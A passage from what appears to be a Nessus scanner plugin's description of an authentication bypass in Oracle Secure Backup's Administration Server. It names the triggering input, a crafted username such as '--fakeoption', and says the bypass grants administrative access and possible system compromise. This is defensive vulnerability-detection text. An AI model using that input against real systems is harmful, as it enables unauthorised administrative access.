attacker to bypass authentication."  );

"The remote web server is the Administration Server for Oracle Secure
Backup, a centralized tape backup management software application.

The installed version of Oracle Secure Backup allows a remote attacker
to bypass authentication using a specially crafted username, such as
'--fakeoption'.

An unauthenticated, remote attacker can leverage this issue to bypass
authentication and gain administrative access to the application.
Under Windows, this can lead to a complete system compromise.

Note that this install is also likely to be affected by multiple
command injection vulnerabilities, although Nessus has not checked for
them."  );
